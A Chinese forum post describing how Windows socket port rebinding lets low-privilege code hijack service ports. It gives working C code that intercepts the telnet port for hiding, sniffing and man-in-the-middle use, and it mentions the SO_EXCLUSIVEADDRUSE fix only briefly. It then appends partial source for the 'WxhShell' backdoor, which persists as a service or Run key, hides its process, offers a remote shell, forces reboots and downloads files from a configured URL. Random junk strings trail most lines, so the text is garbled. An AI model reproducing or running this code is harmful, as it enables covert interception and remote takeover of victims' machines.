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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cmU0=js.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qLxcr/fK  
[Y.JC'F#  
  saddr.sin_family = AF_INET; g$"x,:2x{  
ujBm"p_|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AX6:*aZB  
ecH7")  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kf(Px%G6K  
U,T#{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iR{@~JN=)  
4G;KT~Cgb  
  这意味着什么?意味着可以进行如下的攻击: |T"j7  
+/[Rvh5WZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5W|wDy  
FYE(lEjxi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (6mw@gzr  
VSCKWYy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bJ"2|VNH(  
{E)tzBI;^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }QQl.'  
lH/" 47  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [N%InsA9k  
l*w'  O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b%"/8rK  
` -SC,qHw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f>cUdEPBb  
. uGne  
  #include ;*FY+jM  
  #include Pj g#  
  #include Yc~lYz+b  
  #include    U1/ww-!Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9{S$%D  
  int main() &dj/Dq@  
  { +jq@!P"}d  
  WORD wVersionRequested; ]c 'EJu  
  DWORD ret; a Iyzt  
  WSADATA wsaData; IIXA)b!  
  BOOL val; E#tfCM6  
  SOCKADDR_IN saddr; 5S&Qj7kr  
  SOCKADDR_IN scaddr; +"WNG  
  int err; pjV70D8$A  
  SOCKET s; ?aBAmyxm  
  SOCKET sc; [5-Ik T0  
  int caddsize; g26_#4 P  
  HANDLE mt; H|j]uLZ  
  DWORD tid;   '|v<^EH  
  wVersionRequested = MAKEWORD( 2, 2 ); zT/woiyB`  
  err = WSAStartup( wVersionRequested, &wsaData ); =c#mR" 1  
  if ( err != 0 ) { |t3}>+"?z  
  printf("error!WSAStartup failed!\n"); g}hNsU=$5~  
  return -1; +gBD E :  
  } u| "YS-dH  
  saddr.sin_family = AF_INET; `O.pT{Lf  
   .),9a,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F &5iA\  
j1+I_   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XS^du{ai  
  saddr.sin_port = htons(23); V8o, e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {IBbN05 ;  
  { 5RO6YxQ  
  printf("error!socket failed!\n"); ).u>%4=6  
  return -1; /Hm/%os  
  } /J!hKK^k  
  val = TRUE; &pz`gna  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e,#5I(E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H D$`ZV  
  { TI"Ki$jC  
  printf("error!setsockopt failed!\n"); {LqYb:/C5U  
  return -1; tId,Q>zH  
  } lq`7$7-4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @V Tw>=94  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vz!{nL0Q(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 " ~6&rt  
gr.G']9lNq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ev/)#i#s{  
  { Dq!YB[Z$:  
  ret=GetLastError(); UN;U+5,t  
  printf("error!bind failed!\n"); TOSk+2P  
  return -1; o2]Np~`g,  
  } +mKII>{  
  listen(s,2); ;r]! qv:  
  while(1) 6 9uDc  
  { /Q#eP m  
  caddsize = sizeof(scaddr); aGE} EK}  
  //接受连接请求 KiC,O7&<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c1*^ \   
  if(sc!=INVALID_SOCKET) "8(8]GgYx  
  { XIM?$p^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YxU->Wi]G  
  if(mt==NULL) \sW>Y#9]  
  { Z~|%asjFE  
  printf("Thread Creat Failed!\n"); ~WB-WI\  
  break; #q&N d2y  
  } k#mL4$]V5N  
  } 56NDU>j$  
  CloseHandle(mt); k4:=y9`R}$  
  } bsI?=lO  
  closesocket(s); YVz,P_\(m  
  WSACleanup(); SST@   
  return 0; ^tjM1uaZ5(  
  }   (0?FZ.9%  
  DWORD WINAPI ClientThread(LPVOID lpParam) >%t5j?p  
  { i8R 2Y9Q*O  
  SOCKET ss = (SOCKET)lpParam; lq  Av  
  SOCKET sc; Nlc3S+$`z  
  unsigned char buf[4096]; NcSi%]  
  SOCKADDR_IN saddr; .)FFl  
  long num; 'Q*lp!2>  
  DWORD val; XwU1CejP0  
  DWORD ret; />PH{ l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EWVn*xl?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iE{VmHp=  
  saddr.sin_family = AF_INET; }1sd<<\`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $O\]cQD`u  
  saddr.sin_port = htons(23); N#:W#C{16w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wp^ |=  
  { 6-{wo)p  
  printf("error!socket failed!\n"); {;JFoe+  
  return -1; *tDxwD7  
  }  .^rs VNG  
  val = 100; =`V9{$i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) akgvV~5  
  { +~lPf.  
  ret = GetLastError(); "#%9dWy  
  return -1; k>\s6  
  } 6?0QzSpfC#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o1 &Oug  
  { c&SSf_0O*  
  ret = GetLastError(); %IUTi6P l  
  return -1; W[73q>'  
  } 7Uh/Gl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D;DI8.4`N  
  { dFnu&u"  
  printf("error!socket connect failed!\n"); _C$SaQty[Q  
  closesocket(sc); 79'N/:.  
  closesocket(ss); dW|S\S'&  
  return -1; 5 ^tetDz}  
  } H|;BT  
  while(1) 3J^'x  
  { jrYA5>=>#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0IbR>zFg.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $*+UX   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p;2NO&  
  num = recv(ss,buf,4096,0); emS7q|^  
  if(num>0) >~G _'~_f  
  send(sc,buf,num,0); %i.;~>  
  else if(num==0) wF['oUwHH  
  break; $\nAGmp@  
  num = recv(sc,buf,4096,0); \!r,>P   
  if(num>0) *;<oM]W_  
  send(ss,buf,num,0); F4&`0y:  
  else if(num==0) 'd<1;Ayw  
  break; FK,YVY  
  } uup>WW  
  closesocket(ss); (n@&M!a  
  closesocket(sc); FWpb5jc)3  
  return 0 ; 6 &MATMR  
  } W -5wjc  
R%r<AL5kJk  
L'x[wM0w;  
========================================================== 0tN/P+!|  
H3BMN}K~  
下边附上一个代码,,WXhSHELL 9M .cTIO{  
&8Oy*'  
========================================================== XZpF<7l  
%4h$/~  
#include "stdafx.h" f\vg<lca  
"3uPK$  
#include <stdio.h> 9%bqY9NFd  
#include <string.h> PZCOJK  
#include <windows.h> T_4y;mf!@O  
#include <winsock2.h> rqi|8gKY  
#include <winsvc.h> 9$N~OZ;-*x  
#include <urlmon.h> ?_G?SQ  
qMmhmH)Gp  
#pragma comment (lib, "Ws2_32.lib") 1n+JHXR\  
#pragma comment (lib, "urlmon.lib") l Gy`{E|  
`bRt_XGPmF  
#define MAX_USER   100 // 最大客户端连接数 os`#:Ao5  
#define BUF_SOCK   200 // sock buffer >l0D,-O]m  
#define KEY_BUFF   255 // 输入 buffer fBt`D !Z8  
$3:O}X>  
#define REBOOT     0   // 重启 f\M;m9{(  
#define SHUTDOWN   1   // 关机 soB5sFt&]  
9uA2M!~i2  
#define DEF_PORT   5000 // 监听端口 Zd[6-/-:  
4.i< `'  
#define REG_LEN     16   // 注册表键长度 WH0$v#8`v  
#define SVC_LEN     80   // NT服务名长度 . ^JsnP  
)R9QJSe  
// 从dll定义API vip& b}u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vKcc|#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZNTOI]P&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ )[jBUT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H{fOAv1*  
W*NK-F[  
// wxhshell配置信息 ojy[<  
struct WSCFG { :k7h"w  
  int ws_port;         // 监听端口 81 /t)Cp  
  char ws_passstr[REG_LEN]; // 口令 tGh!5EZ6`  
  int ws_autoins;       // 安装标记, 1=yes 0=no C\C*'l6d  
  char ws_regname[REG_LEN]; // 注册表键名 Qo \;)  
  char ws_svcname[REG_LEN]; // 服务名 3/?{= {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $56Z/*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !TdbD56  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *mj3  T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N13wVx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v`KYhqTUl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A@k`$xevVj  
aMycvYzH  
}; wT+b|K  
n*GsM6Y&  
// default Wxhshell configuration bpWEF b'f  
struct WSCFG wscfg={DEF_PORT, !Won<:.[0  
    "xuhuanlingzhe", Lb%Wz*Fa%!  
    1, uS,XQy2  
    "Wxhshell", VsMTzGr  
    "Wxhshell", ]2o?Gnn@  
            "WxhShell Service", zz~AoX7V6  
    "Wrsky Windows CmdShell Service", ]&RC<imq  
    "Please Input Your Password: ", L]|[AyNu  
  1, kc&MO`2 W\  
  "http://www.wrsky.com/wxhshell.exe", xHY#"   
  "Wxhshell.exe" 1 n<7YO7}  
    }; Y)]x1I  
6 P6Pl&  
// 消息定义模块 *#2]`G)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;/]v mgl2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WT9 k85hqj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )=c/{  
char *msg_ws_ext="\n\rExit."; @u}1 S1  
char *msg_ws_end="\n\rQuit."; Xeo2 < @[  
char *msg_ws_boot="\n\rReboot..."; 'WLh D<  
char *msg_ws_poff="\n\rShutdown..."; !XJS"owr  
char *msg_ws_down="\n\rSave to "; b )mU9   
\gjY h2>  
char *msg_ws_err="\n\rErr!"; 0($ O1j~$  
char *msg_ws_ok="\n\rOK!"; y7)$~R):-  
yw9)^JU8"  
char ExeFile[MAX_PATH]; .q^+llM  
int nUser = 0; ES&"zjr$  
HANDLE handles[MAX_USER]; f mQ`8b  
int OsIsNt; S>s{t=AY~  
%RF9R"t$  
SERVICE_STATUS       serviceStatus; {[%kn rRJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r.T!R6v}  
hs  m%o\  
// 函数声明 g1TMyIUt[  
int Install(void); Tf1G827  
int Uninstall(void); bx&?EUx+b  
int DownloadFile(char *sURL, SOCKET wsh); ndU<,{r  
int Boot(int flag);  UX& ?^]  
void HideProc(void); pa@@S $(  
int GetOsVer(void); a*gzVE7W#n  
int Wxhshell(SOCKET wsl); @3F4Lg6H|  
void TalkWithClient(void *cs); -l# h^  
int CmdShell(SOCKET sock); a J&)-ge  
int StartFromService(void); 3Bk_4n  
int StartWxhshell(LPSTR lpCmdLine); FV->226o%  
#nOS7Q#uW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }pzUHl>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =5jng.  
?UGA-^E1  
// 数据结构和表定义 bdUe,2Yin  
SERVICE_TABLE_ENTRY DispatchTable[] = $ 3/G)/A  
{ Vo2{aK;  
{wscfg.ws_svcname, NTServiceMain}, 3RyB 0 n  
{NULL, NULL}  A/zZ%h  
}; Rt^~db  
@1UC9}>  
// 自我安装 /) Pf ]  
int Install(void) e0ea2 2  
{ 7"c^$fj  
  char svExeFile[MAX_PATH]; N @24)g?  
  HKEY key; z[q#Dw  
  strcpy(svExeFile,ExeFile); O-D${==  
YA vOV-L  
// 如果是win9x系统,修改注册表设为自启动 gLyE,1Z}u  
if(!OsIsNt) { 18xT2f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lS.&>{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -N3fhW#)  
  RegCloseKey(key); GYq.!d@O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +hJ@w-u,G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MvLmEmKb}\  
  RegCloseKey(key); 6pHn%yE*  
  return 0; ~RRp5x _  
    } Xj^Hy"HC^~  
  } '8$*gIQ8  
} E~y@ue:  
else { 1D6F WYV8  
0A}'@N@G)  
// 如果是NT以上系统,安装为系统服务 ~F ,mc.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -J$,W`#z  
if (schSCManager!=0) ~x:B@Ow  
{ -9Ll'fbq  
  SC_HANDLE schService = CreateService #@#/M)  
  ( EqV]/0-\  
  schSCManager, v7ShXX:  
  wscfg.ws_svcname, OcBK n=8  
  wscfg.ws_svcdisp, |H LU5=Y  
  SERVICE_ALL_ACCESS, xKl!{A9$w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YF]W<ZpY  
  SERVICE_AUTO_START, k_^| %xJ  
  SERVICE_ERROR_NORMAL, 7vRFF@eq}  
  svExeFile, t3dvHU&Z:  
  NULL, !G0OD$  
  NULL, Sas &P:# r  
  NULL, $i^#KZ}-WK  
  NULL, 2th>+M~A  
  NULL M :4N'#`  
  ); dZ1/w0<M2  
  if (schService!=0) rX-V0  
  { 0pYCh$TL1  
  CloseServiceHandle(schService); 7NY9UQ  
  CloseServiceHandle(schSCManager); _|!FhZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jgfl|;I?pg  
  strcat(svExeFile,wscfg.ws_svcname); w*E0f?s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q>,EYb>wI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L1'#wH  
  RegCloseKey(key); ^+hqGu]M  
  return 0; U=<d;2N#  
    } X~`<ik{q  
  } *Z+8L*k97  
  CloseServiceHandle(schSCManager); jI-\~  
} ]Ywj@-*q  
} `H_.<``>  
P2q'P&  
return 1; `pHlGbrW  
} nMniHB'  
Y_H|Fl^  
// 自我卸载 s C/5N  
int Uninstall(void) ?W#>9WQi  
{ RW#&f*  
  HKEY key; 5L'bF2SI  
mr`Lxy9e  
if(!OsIsNt) { "`aNNIG&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fc~6/  
  RegDeleteValue(key,wscfg.ws_regname); Bbb_}y|CA  
  RegCloseKey(key); ymIjm0jVh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LV^V`m0#  
  RegDeleteValue(key,wscfg.ws_regname); zSpL^:~  
  RegCloseKey(key); Jj~c&LxrO  
  return 0; yK$.wd 2,  
  } M7\; Y  
} 7nzNBtk  
} cVg!"  
else { `eF&|3!IYQ  
4z_>CiA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "I)*W8wTn  
if (schSCManager!=0) dKOW5\H'  
{ ^^ Q'AE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cWd\Ki  
  if (schService!=0) 9WJS.\G^  
  { DPU%4te  
  if(DeleteService(schService)!=0) { i|@lUXBp  
  CloseServiceHandle(schService); E5#Dn.!~  
  CloseServiceHandle(schSCManager); %[x oA)0!  
  return 0; d:U2b"k=/u  
  } YPjjSi:#  
  CloseServiceHandle(schService); C&&*6E5  
  } Zd~l_V f  
  CloseServiceHandle(schSCManager); ] Q 'Ed  
} 7 +RsZu  
} -|?I'~[#(  
R3HfE*;Z  
return 1; qhKW6v  
} B{#*PAK=  
,9(=Iu-?1  
// 从指定url下载文件 =Me94w>G3X  
int DownloadFile(char *sURL, SOCKET wsh) V/=NIeSE  
{ {Z529Ns  
  HRESULT hr; :GXD-6}^|  
char seps[]= "/"; (BB&ZUdyv  
char *token; KxEy N(n  
char *file; S(K}.C1x  
char myURL[MAX_PATH]; Y7|R vLWoP  
char myFILE[MAX_PATH]; *u2pk>y)  
v4?qI >/  
strcpy(myURL,sURL); y+ZRh?2  
  token=strtok(myURL,seps); <Ae1YHUY  
  while(token!=NULL) :'L^zGf  
  { j^t#>tZS  
    file=token; F__(iXxC  
  token=strtok(NULL,seps); 9]ga\>v  
  } (8[etm  
;*3OkNxa3  
GetCurrentDirectory(MAX_PATH,myFILE); l5> H\  
strcat(myFILE, "\\"); JGJXV3AT  
strcat(myFILE, file); 7O_@b$Q  
  send(wsh,myFILE,strlen(myFILE),0); ` >w4G|{  
send(wsh,"...",3,0); h";0i:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h  0EpW5  
  if(hr==S_OK) $ BEIG@qG  
return 0; e{ce \  
else EFb1Y{u^\!  
return 1; ,a:!"Z^ f  
\S[7-:Lu^  
} E>/kNl  
*5SOXrvhu6  
// 系统电源模块 "T*Sg  
int Boot(int flag) 20 j9~+  
{ o\_@4hXf  
  HANDLE hToken; IZ<d~ [y  
  TOKEN_PRIVILEGES tkp; iIOA54!o  
&"D *  
  if(OsIsNt) { jTo-xP{lC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j%2l%Mx(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cULASS`,  
    tkp.PrivilegeCount = 1; 6`KAl rH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k`LoRqF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W?a{3B   
if(flag==REBOOT) { j@JhxCe1+R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uR|?5DK  
  return 0; *W'F 6Hpu  
} a3&&7n  
else { 2"31k2H[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >~;MQDU5*Y  
  return 0; Kq`C5  
} y^7ol;t  
  } {Vc%ga|E  
  else { dQ4VpR9|;  
if(flag==REBOOT) { %J*z!Fe8s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6} DGEHc1  
  return 0; CM}1:o<<N  
} y*Egt`W  
else { #6XN_<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B{\cV-X$0  
  return 0; 0JQ0lzk1  
} 2>l =oXq  
} ~$#"'Tl4J  
(dOC ^i  
return 1; 1_D|;/aI  
} QZcdfJck=+  
GpjyF_L  
// win9x进程隐藏模块 %/l9$>{  
void HideProc(void)  8>Y  
{ -ZTe#@J  
6mP s;I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kB|j N~  
  if ( hKernel != NULL ) 1 11s%  
  { #cG7h(!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XcoV27  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JArSJ:}  
    FreeLibrary(hKernel); Dg^n`[WO  
  } s>=DfE-;"  
_j$"fg  
return; 9H@I<`qGC  
} <h(KI Y9T  
tx$kD2  
// 获取操作系统版本 jo75M Sj  
int GetOsVer(void) 7Ao9MF-  
{ gWt}q-@nRR  
  OSVERSIONINFO winfo; hdL/zW7]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {K\l3_=5qb  
  GetVersionEx(&winfo); Vej [wY-c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pwg$% lv  
  return 1; X?,ly3,  
  else AT){OQF8&  
  return 0; uFseO9F.2  
} \)\uAI-  
e):jQite   
// 客户端句柄模块 m `"^d #  
int Wxhshell(SOCKET wsl) ZLsfF =/G  
{ "7v/ -   
  SOCKET wsh;  yN9k-IPI  
  struct sockaddr_in client; 9"KO!w  
  DWORD myID; >s 4"2X  
@Q!Jzw#B  
  while(nUser<MAX_USER) +_.k\CRms  
{  %+\ PN  
  int nSize=sizeof(client); $XBn:0U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2K^D%U  
  if(wsh==INVALID_SOCKET) return 1; 3 [R<JrO  
I r8,=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K gN=b  
if(handles[nUser]==0) ~7!=<MW  
  closesocket(wsh); D?+\"lI  
else iD*%' #u  
  nUser++; #nK38W#  
  } ~0}gRpMW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m:kXr^!D  
?hqHTH:PU  
  return 0; {FYWQ!L  
} ;yfKYN[  
nkI+"$Rz0  
// 关闭 socket G.2\Sw  
void CloseIt(SOCKET wsh) w_c)iJ  
{ [i[*xf-B  
closesocket(wsh); 4?+K:e #F  
nUser--; a`c#- je  
ExitThread(0); 4LG[i}u.N  
} 26SXuFJ@  
]!7 %)  
// 客户端请求句柄 ?]*WVjskE  
void TalkWithClient(void *cs) st- z>}  
{ hv)>HU&  
w}8 ,ICL  
  SOCKET wsh=(SOCKET)cs; tcDWx:Q  
  char pwd[SVC_LEN]; t0*kL.  
  char cmd[KEY_BUFF]; fQW1&lFT  
char chr[1]; se|>P=/  
int i,j; 1M1|Wp  
`IP?w&k)  
  while (nUser < MAX_USER) { iA~LH6  
D4@).%  
if(wscfg.ws_passstr) { r6.`9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  H7`JqS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6MCLm.L  
  //ZeroMemory(pwd,KEY_BUFF); C bWz;$r  
      i=0;  Dno]N  
  while(i<SVC_LEN) { \ a#{Y/j3  
FEC`dSTI  
  // 设置超时 ^T?zR7r  
  fd_set FdRead; KT5amct  
  struct timeval TimeOut; _xKIp>A  
  FD_ZERO(&FdRead); 7+N0$0w%r  
  FD_SET(wsh,&FdRead);  lu_kir~  
  TimeOut.tv_sec=8; gxKL yZO!  
  TimeOut.tv_usec=0; :Dt]sE _d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BlLK6"gJT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /9SEW!E  
Y ~TR`y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `w&A;fR! H  
  pwd=chr[0]; <{ER#}b:O  
  if(chr[0]==0xd || chr[0]==0xa) { L3/SIoqd  
  pwd=0; ^}w@&Bje  
  break; %bN+Y'  
  } :d AC:h  
  i++; }3825  
    } "[wkjNf%  
H{)DI(,Y^P  
  // 如果是非法用户,关闭 socket g~7x+cu0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Arr(rM  
} 1bz%O2U-(  
?\Bm>p% +  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p*NKM} ]I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MG}rvzn@  
V=i/cI\  
while(1) { D`Cy]j  
w@![rH6~F  
  ZeroMemory(cmd,KEY_BUFF); dguN<yS- E  
ut*sx9l  
      // 自动支持客户端 telnet标准   yG' 5:  
  j=0; < `Xt?K  
  while(j<KEY_BUFF) { ^P!(* k#T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  JT,[;  
  cmd[j]=chr[0]; ngt?9i;N  
  if(chr[0]==0xa || chr[0]==0xd) { #\zC|%2+z  
  cmd[j]=0; }'KHF0   
  break; vE~>9  
  } #+"1">l  
  j++; qWdob>u  
    } r!N> FE  
C8Oh]JF4d  
  // 下载文件 YigDrW  
  if(strstr(cmd,"http://")) { E%b*MU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wbpz,  
  if(DownloadFile(cmd,wsh)) W>_K+: t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hhzi(<e^  
  else ixvF `S9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W" i3:r  
  } ` t6|09e  
  else { c{"qrwLA  
5y~ Srb?2  
    switch(cmd[0]) { @oNYMQ@)d  
  T5_/*`F  
  // 帮助 mgd)wZNV  
  case '?': { !'z"V_x~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6M#}&Gv  
    break; l!*!)qCB(S  
  } !hugn6  
  // 安装 f-BPT2U+  
  case 'i': { T;M4NGmvd  
    if(Install()) TFZxk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oHPh2b0  
    else jtv<{7a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ii5dTimRJ  
    break; l9Av@|  
    } [*K.9}+G_  
  // 卸载 ?:Sqh1-z  
  case 'r': { [BTOs4f  
    if(Uninstall()) " Ng%"Nz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $xqX[ocor  
    else Aa`R40yl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M:*)l(  
    break; u.@B-Pf[Eo  
    } x+bC\,q  
  // 显示 wxhshell 所在路径 @@3%lr71   
  case 'p': { w }=LC#le  
    char svExeFile[MAX_PATH]; p f`vH`r  
    strcpy(svExeFile,"\n\r"); p_B5fm7#6W  
      strcat(svExeFile,ExeFile); XY,!vLjL  
        send(wsh,svExeFile,strlen(svExeFile),0); _[pbf ua  
    break; Ew )1O9f  
    } *5KDu$'(e  
  // 重启 Rd;^ fBx  
  case 'b': { 'j9x(T1M1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cz41<SFL  
    if(Boot(REBOOT)) MMy\u) 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -KL5sK  
    else { -PCF Om"  
    closesocket(wsh); q\G7T{t$.  
    ExitThread(0); V4ybrUWK  
    } or`D-x)+@  
    break; LlcH#L$  
    } $ vBFs]h  
  // 关机 tx$`1KA  
  case 'd': { b?j\YX[e  
